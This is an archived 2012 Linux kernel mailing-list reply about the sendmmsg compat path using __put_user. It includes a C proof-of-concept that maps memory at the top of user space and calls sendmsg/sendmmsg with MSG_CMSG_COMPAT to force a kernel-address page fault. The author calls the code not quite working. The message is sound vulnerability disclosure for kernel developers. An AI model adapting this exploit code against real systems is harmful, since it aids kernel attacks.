lkml.org 
[lkml]   [2012]   [Apr]   [5]   [last100]   RSS Feed
Views: [wrap][no wrap]   [headers]  [forward] 
 
Messages in this thread
    /
    Date
    From
    SubjectRe: sendmmsg: put_user vs __put_user
    On 03/30/2012 05:51 PM, David Miller wrote:
    > From: Ulrich Drepper <drepper@gmail.com>
    > Date: Fri, 30 Mar 2012 09:36:11 -0400
    >
    >> Shouldn't the compat code in the sendmmsg implementation use the same
    >> code as the normal code? In which case you probably want something
    >> like this:
    >
    > Compat processes are not able to generate virtual addresses anywhere
    > near the range where the kernel resides, so the address range
    > verification done by put_user() is completely superfluous and
    > therefore not necessary. The normal exception handling done by the
    > access is completely sufficient.

    I disagree. The following exploit causes a bogus page fault to a kernel
    address. I think this isn't exploitable right now on x86-64 because the
    page fault handler fixes it up, but I wouldn't be surprised if this
    crashes or at least warns on some architecture. (Actually trashing
    kernel memory is probably impossible with this on x86-64 chips because
    this can only overrun user space by four bytes, and there's a giant gap
    of impossible addresses above user space in x86-64.

    Compile as 64 bit code. Tested by instrumenting the page fault handler.

    /* Not quite working exploit. Copyright (c) 2012 Andy Lutomirski. */

    #include <sys/types.h>
    #include <sys/socket.h>
    #include <netinet/in.h>
    #include <netinet/ip.h>
    #include <string.h>
    #include <sys/mman.h>
    #include <syscall.h>
    #include <stdio.h>

    #define COMPAT_MSGHDR_SIZE 28
    #define TASK_SIZE_MAX ((1UL << 47) - 4096)
    #define MSG_CMSG_COMPAT 0x80000000

    int main()
    {
    int s;
    struct sockaddr_in addr;
    struct msghdr *hdr;

    char *highpage = mmap((void*)(TASK_SIZE_MAX - 4096), 4096,
    PROT_READ | PROT_WRITE,
    MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED,
    -1, 0);
    if (highpage == MAP_FAILED) {
    perror("mmap");
    return 1;
    }

    s = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
    if (s == -1) {
    perror("socket");
    return 1;
    }

    addr.sin_family = AF_INET;
    addr.sin_port = htons(1);
    addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
    if (connect(s, (struct sockaddr*)&addr, sizeof(addr)) != 0) {
    perror("connect");
    return 1;
    }

    void *evil = highpage + 4096 - COMPAT_MSGHDR_SIZE;
    printf("Evil address is %p\n", evil);

    // Purely for illustration.
    if (sendmsg(s, evil, MSG_CMSG_COMPAT) < 0) {
    perror("sendmsg");
    return 1;
    }
    memset(highpage, 0, 4096);
    {
    int tmp;
    socklen_t sz;
    getsockopt(s, SOL_SOCKET, SO_ERROR, &tmp, &sz);
    }

    if (syscall(__NR_sendmmsg, s, evil, 1, MSG_CMSG_COMPAT) < 0) {
    perror("sendmmsg");
    return 1;
    }

    return 0;
    }


    \
     
     \ /
      Last update: 2012-04-06 02:17    [W:0.030 / U:1.328 seconds]
    ©2003-2016 Jasper Spaans. hosted at Digital OceanAdvertise on this site